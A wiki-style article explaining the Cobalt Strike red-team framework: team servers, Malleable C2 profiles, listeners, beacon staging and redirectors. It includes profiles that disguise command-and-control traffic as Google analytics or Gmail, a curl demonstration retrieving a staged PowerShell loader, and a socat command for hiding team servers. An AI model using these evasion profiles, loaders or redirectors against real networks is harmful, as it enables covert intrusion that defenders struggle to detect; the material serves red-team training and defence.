From aldeid
Jump to navigation Jump to search


What is Cobalt Strike?

(Disclaimer: this article is heavily inspired from the videos available here and the official documentation.)

Cobalt Strike is a software for Adversary Simulations and Red Team Operations that addresses all evasion techniques highlighted on the below diagram:

                             .--.-.-...                               .--.-.-.-..-.-.
                            (   CODE   )                             (_,  POSITIVE  ,_)
                            (_,  EXEC ,_) ────+─────+─────+─────+───>   (_,  C2   ,_)
                              '-'--`--'`     FW   proxy  NSM   TI         '-'--`--'`
                                  ▲           │     │    │      │            │
                                  │           └─────┴────┼──────┘            │
                                  + EDR ──────────────┐  │                   │
                                  │                ┌──┴──┴─┐                 │
                                  + AWL            │  SOC  │                 │
                                  │                └─┬───┬─┘                 │
                                  + A/V ─────────────┘   └─────┐             │
             anti                 │                            │  ┌─────┐    ▼
┌──────────┐ spam  A/V      .--.-.-.-..-.-.                    │  │    .▼-.-...-.._
│ attacker │ ──+────+────> (_,  INITIAL  ,_)                  EDR +   (_,   POST   )
└──────────┘                (_,  ACCESS ,_)                       └──── (_, EXEC  ,_)
                              '-'--`--'`                                   '-'---`


  • Close the gap between penetration testing tools and advanced threat malware


  • Relevant and credible adversary simulations that:
    • produce battle-hardened security analysts
    • dirve-objective and meaningful security advances
    • educate security professionals and decision makers on advanced threat tactics

Main features


  • Beacons are Cobalt Strike's post-exploitation payloads
  • Two communication strategies:
    • Asynchronous (low and slow)
    • Interactive
  • Uses HTTP/HTTPS or DNS to egress a network
  • Uses SMB or TCP for P2P C2
  • RAT features

Malleable C2

  • A domain-specific language to give control over the indicators in the beacon payload
    • Network traffic
    • In-memory content, characteristics, and behavior
    • Process injection behavior

More info is given in this section

Aggressor Script

  • Aggressor Script is the scripting language built into Cobalt Strike v3.0+
  • Allows to modify and extend the Colbalt Strike client:
    • Add popup menus in the tool
    • Define new commands for the beacon payloads
    • scripts can respond to events in the tool
    • Add new privesc and lateral movement automation
    • Generate powershell scripts
  • More info here

Collaboration and distributed operations


  • Cobalt Strike works as a client/server architecture
  • Servers are called "Team Servers". They run on Linux systems
  • Clients connect to Team Servers to execute payloads and attack the targets. Clients connected to the same team server share:
    • Sessions (you have the list of who is connected)
    • Data (targets, web logs, keystrokes, screenshots, ...)
    • Real time communication (event log, uses a syntax similar to IRC)


Distributed operations

  • Clients can connect to multiple team servers.
    • This is to avoid a single point of failure.
    • Used for distributed actions (phishing, recon, attack, beacon, post-exploitation, ...)
  • Team servers server multiple clients
  • Team servers have no knowledge of data on the other team servers.

Logs and reports

  • Logs available in the /logs directory
  • Reports available from the Reporting menu of the client


Who is using Cobalt Strike?

Cobalt Strike has been developed for Red Teams, to perform real attacks scenarios in the realm of table top exercises. However, due to the powerful features in the product, it has rapidly been adopted by APT actors, and Cobalt Strike is massively used in the Advanced Persistent Threat (APT) attacks, especially with ransomware distribution.


Team Server

Run the team server as follows (requires root privileges):

# ./teamserver <ip address> <password> [profile] [YYYY-MM-DD]
  • ip addess: IP address of the C2
  • password: shared password needed for the clients to connect
  • profile: Malleable C2 profile (don't leave it empty).
  • [YYYY-MM-DD]: kill date for beacon payloads run from the server

Team servers run on port 50050/tcp


To start the client, run It will popup a connection window:


Malleable C2

What is it?

Beacon's HTTP indicators are controlled by a Malleable C2 profile. A Malleable C2 profile is a simple program that specifies how to transform data and store it in a transaction. The same profile that transforms and stores data, interpreted backwards, also extracts and recovers data from a transaction.

Profiles defined how HTTP requests are issued / how they will look like.

  • You can define custom DNS
  • Modify certificate information (e.g. to imitate Google or Microsoft Updates traffic)
  • Define custom URI
  • Define custom headers (e.g. to mimic Gmail traffic, or hide the content into a picture)

Profile components

  • Options: define global variables as key/value pairs (example: set uri "/image"; within the http-get block)
  • Blocks:
    • used for grouping indicators by specific behavior points (e.g. http-get to download tasks, http-post to upload output, http-stager to control staging process).
    • Notice that you can also define "variants" to create different instances of a block (e.g. http-get "variant1" { ... }). These variants will appear in the profiles list of the HTTP-Beacon listener.
    • Specific options can be specified in each block. Possibility to have nested blocks inside a block (e.g. client and server nested blocks within the http-get block, to control the HTTP request and HTTP response, respectively)
  • Extraneous Indicators: decorators for the request (e.g. header "Pragma" "no-cache", header "Referer" "")
  • Transforms: tranformation of objects in the request (e.g. how metadata are encoded and where they are stored: metadata { netbios; append "-.jpg"; uri-append; })


Cobalt Strike comes with a c2lint program that allows to test profiles and show how requests look like. Below is an example:

$ ./c2lint ../profiles/normal/gmail.profile 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true


GET /_/scs/mail-static/_/js/ HTTP/1.1                                                                                                                                                                                                     
Cookie: OSID=Fvecl2g1NMIrj/wZAsbatg==                                                                                                                                                                                                     
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8                                                                                                                                                                   
Accept-Language: en-US,en;q=0.5                                                                                                                                                                                                           
Accept-Encoding: gzip, deflate                                                                                                                                                                                                            
DNT: 1                                                                                                                                                                                                                                    
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)                                                                                                                                                              
HTTP/1.1 200 OK                                                                                                                                                                                                                           
X-Content-Type-Options: nosniff                                                                                                                                                                                                           
X-Frame-Options: SAMEORIGIN                                                                                                                                                                                                               
Cache-Control: public, max-age=31536000                                                                                                                                                                                                   
X-XSS-Protection: 1; mode=block                                                                                                                                                                                                           
Server: GSE                                                                                                                                                                                                                               
Alternate-Protocol: 443:quic,p=1                                                                                                                                                                                                          
Content-Length: 864                                                                                                                                                                                                                       
try()catch(e)(_DumpException(e))N(L.Oa(),"sy558");P(L.Oa(),"sy558");O(L.Oa(),"sy558");try()catch(e)(_DumpException(e))N(L.Oa(),"sy580");P(L.Oa(),"sy580");O(L.Oa(),"sy580")try(."[email protected]%T.....>..F.~7..fu.....#...#.....t.......d..r+`R..2.K.:[email protected] f2=function(a)(a=a.wa;return"application/chromium-bookmark-folder"==a||"application/chromium-root-folder"==a||"application/"==a||"application/"==a||"application/"==a),g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case "all":case "docs-images":case "docs-images-and-videos":case "docs-videos":case "documents":case "drawings":case "folders":case "forms":case "pdfs":case "presentations":case "sites":case "spreadsheets":case "tables":return!0)return!1); O(L.Oa(),"sy588")                                                                        

POST /mail/u/0/?ui=d3244c4707&hop=6928632&start=0 HTTP/1.1                                                                                                                                                                                
Content-Type: application/x-www-form-urlencoded;charset=utf-8                                                                                                                                                                             
Cookie: OSID=NzAwMjc=                                                                                                                                                                                                                     
Content-Length: 24                                                                                                                                                                                                                        
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB)                                                                                                                                            
HTTP/1.1 200 OK                                                                                                                                                                                                                           
X-Content-Type-Options: nosniff                                                                                                                                                                                                           
X-Frame-Options: SAMEORIGIN                                                                                                                                                                                                               
Cache-Control: no-cache, no-store, max-age=0, must-revalidate                                                                                                                                                                             
X-XSS-Protection: 1; mode=block                                                                                                                                                                                                           
Server: GSE                                                                                                                                                                                                                               
Content-Length: 56                                                                                                                                                                                                                        

[+] POST 3x check passed
[+] .http-get.server.output size is good
[+] .http-get.client size is good
[+] .http-post.client size is good
[+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (0 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (48248 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s])
[+] transform+mangle+recover passed (4 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (0 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1 byte[s])
[+] .http-post.client.output POSTs results
[+] .http-post.client.output transform+mangle+recover passed (48248 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1048576 byte[s])
[+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this.
[%] [OPSEC] .host_stage is true. Your Beacon payload is available to anyone that connects to your server to request it. Are you OK with this? 
[-] .spawnto is deprecated and has no effect. Set .post-ex.spawnto_x86 and .post-ex.spawnto_x64 instead.
[%] [OPSEC] .post-ex.spawnto_x86 is '%windir%\syswow64\rundll32.exe'. This is a *really* bad OPSEC choice.
[%] [OPSEC] .post-ex.spawnto_x64 is '%windir%\sysnative\rundll32.exe'. This is a *really* bad OPSEC choice.
[!] .code-signer.keystore is missing. Will not sign executables and DLLs
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] SSL certificate generation OK
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true


  • Profile examples are reported below. More profiles examples are available here
  • Help on writing profiles is available here

Example 1: webbug.profile

# make our C2 look like a Google Web Bug
# Author: @armitagehacker

http-get {
	set uri "/__utm.gif";
	client {
		parameter "utmac" "UA-2202604-2";
		parameter "utmcn" "1";
		parameter "utmcs" "ISO-8859-1";
		parameter "utmsr" "1280x1024";
		parameter "utmsc" "32-bit";
		parameter "utmul" "en-US";

		metadata {
			prepend "__utma";
			parameter "utmcc";

	server {
		header "Content-Type" "image/gif";

		output {
			# hexdump pixel.gif
			# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
			# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
			# 0000020 01 00 01 00 00 02 01 44 00 3b 

			prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
			prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
			prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";


http-post {
	set uri "/___utm.gif";
	client {
		header "Content-Type" "application/octet-stream";

		id {
			prepend "UA-220";
			append "-2";
			parameter "utmac";

		parameter "utmcn" "1";
		parameter "utmcs" "ISO-8859-1";
		parameter "utmsr" "1280x1024";
		parameter "utmsc" "32-bit";
		parameter "utmul" "en-US";

		output {

	server {
		header "Content-Type" "image/gif";

		output {
			prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
			prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
			prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

# dress up the staging process too
http-stager {
	server {
		header "Content-Type" "image/gif";

Example 2: apt1_virtuallythere.profile

# Reference: Mandiant's APT1 Report
#	     Digital Appendx F - SSL Certificates
# Author: @armitagehacker
set sample_name "APT1 Virtually There Malware";

# this is the certificate
https-certificate {
	set C	"US";
	set ST	"Some-State";
	set O	"";
	set OU	"new";
	set CN	"new";

# since *cough* presumably you're using an HTTPS Beacon...
http-get {
	set uri "/zOMGAPT";

	client {
		metadata {
			parameter "tmp";

	server {
		header "Content-Type" "application/octet-stream";

		output {

http-post {

	client {
		header "Content-Type" "application/octet-stream";

		id {

		output {

	server {
		header "Content-Type" "text/html";

		output {



  • A Listener is a configuration for Cobalt Strike payload
  • Several types of listeners:
    • egress: payload that beacons out of a network
    • P2P: payload that communicates through a parent payload
    • alias: reference to a payload handler elsewhere (e.g. another toolset)
  • Management from the Cobalt Strike > Listeners menu

See details about listeners here

Beacon payloads and Beacon Commands

Payload staging

  • A stager is a tiny program that downloads a payloas and passes execution to it (needed for size-constrained attacks)
  • Stageless means payload without a stager
  • Stagers are les secure, more brittle and easier to detect
  • Less prevalent in Cobalt Strike v4.

HTTP beacon

     [1]                         [3]
 ┌──────────┐   [2] [5]      .--.-.-.-.
 │ Word doc │ ────────────> (_,  C2  ,_)
 │ w/ macro │ <────────────  (_,    ,_)
 └──────────┘       [4]        '-'--'`

In this example:

  1. The macro is executed and spawns a child process with the staging payload
  2. It executes a HTTP GET request to the C2 server
  3. If the attacker has prepared some actions to perform...
  4. returns a response to the request, containing an encrypted blob of actions to perform.
  5. The actions will execute, and the output will be sent via a POST request, containing the output, encrypted. Below is an example:


Beware that the attack expects a given user-agent:

$ curl -i
HTTP/1.1 404 Not Found
Date: Mon, 29 Jun 2020 06:10:33 GMT
Content-Type: text/plain
Content-Length: 0
$ curl -i -A "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0"
HTTP/1.1 200 OK
Date: Mon, 29 Jun 2020 06:10:57 GMT
Content-Type: text/plain
Content-Length: 226512

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAOy9Wc/qyLImfL33r1g[REDACTED]

Beacon Commands

See Beacon Commands



  • Are servers sitting between the Cobalt Strike Team Servers and the target network
  • Forward traffic back to the Cobalt Strike instance.
  • Allow to obfuscate the real IP addresses of the team servers

Redirectors can be done using:

  • iptables, socat or whatever is able to forward traffic. With socat:
socat TCP4-LISTEN:80,fork TCP4:[team server]:80
  • Apache/Nginx reverse proxy
  • CDN as redirector for HTTPS traffic (interesting option since security teams are likely not to be willing to block such IP addresses)

Attacks & examples